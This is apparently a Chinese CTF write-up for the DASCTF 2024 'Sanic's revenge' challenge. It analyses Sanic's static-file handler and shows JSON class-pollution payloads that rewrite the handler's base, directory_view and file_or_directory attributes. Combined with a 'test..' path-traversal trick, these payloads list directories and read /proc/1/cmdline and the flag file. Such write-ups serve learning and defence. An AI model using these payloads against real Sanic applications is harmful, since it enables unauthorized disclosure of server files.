DASCTF 2024暑期挑战赛-Sanic's revenge复现

dawn_r1sing Lv3

Sanic’s revenge

分析

当在地址栏访问存在的目录时(否则直接404),会触发handle函数image-20240722174214857

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
async def handle(self, request: Request, path: str):
current = path.strip("/")[len(self.base) :].strip("/") # noqa: E203
for file_name in self.index:
index_file = self.directory / current / file_name
if index_file.is_file():
return await file(index_file)

if self.directory_view:
return self._index(
self.directory / current, path, request.app.debug
)

if self.index:
raise NotFound("File not found")

raise IsADirectoryError(f"{self.directory.as_posix()} is a directory")

def _index(self, location: Path, path: str, debug: bool):
# Remove empty path elements, append slash
if "//" in path or not path.endswith("/"):
return redirect(
"/" + "".join([f"{p}/" for p in path.split("/") if p])
)

# Render file browser
page = DirectoryPage(self._iter_files(location), path, debug)
return html(page.render())

在handle中,directory_view为true 可列目录时,会进入_index函数

1
2
3
4
if self.directory_view:
return self._index(
self.directory / current, path, request.app.debug
)

跟进_index函数发现主要就是在对传入的路径进行页面渲染,

目光返回handle函数,这里做了一个拼接 self.directory / current,并传给_index函数作为路径

而这里的路径决定了最终列目录页面呈现的是哪里的路径

虽然parts被过滤了无法直接污染directory,但current还是有可操作性的

1
current = path.strip("/")[len(self.base) :].strip("/")	# current去掉两头的‘/’,从base开始截取

current 与 path和base有关

path是请求传入的,可控

base是字符串属性,可以直接污染

image-20240722172455760

这样的话current就是完全可控的,我们就可以在不污染directory的情况下、通过目录穿越实现任意列目录

current从base开始截取,因此将base污染为“static/test”,current就可以截成“..”

此时只需要保证当前目录下有一个“test..”目录,访问“/static/test..”即可实现目录穿越

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value":"static/test"}

但是注意有一个前提是当前目录下存在一个名字是“xxx..”的目录,否则会直接返回404(属实有些抽象

image-20240722165453088

image-20240722165357897

解题

基本情况是:源码不完整、过滤parts不能污染directory、存在一个奇奇怪怪的日志文件目录(提供了xxx..

directory_viewfile_or_directory仍可以污染

可以实现列目录(static),可以获取任意文件(已知文件名的前提下)

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"}		# directory_view
1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value":"/"}		# file_or_directory

在根目录下找些文件

1
/proc/1/cmdline

image-20240722175454425

image-20240722175629120

拿到源码

image-20240722175701037

发现adminLook路由下可以查看日志文件目录,随意触发一次恶意请求

image-20240722175932703

拿到目标目录名

据此污染base,即可列出上级目录

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value":"static/tmp/F97b6P"}		# base

image-20240722180407793

根据hint,flag在app目录下

image-20240722180705933

1
http://5b178c18-882c-4342-8476-2381c6e5187d.node5.buuoj.cn:81/static/app/45W698WqtsgQT1_flag

image-20240722180605316

参考:https://www.cnblogs.com/gxngxngxn/p/18290489

  • Title: DASCTF 2024暑期挑战赛-Sanic's revenge复现
  • Author: dawn_r1sing
  • Created at : 2024-07-22 18:47:05
  • Updated at : 2024-07-22 18:54:08
  • Link: https://dawnrisingdong.github.io/2024/07/22/DASCTF-2024暑期挑战赛-Sanic-s-revenge复现/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
DASCTF 2024暑期挑战赛-Sanic's revenge复现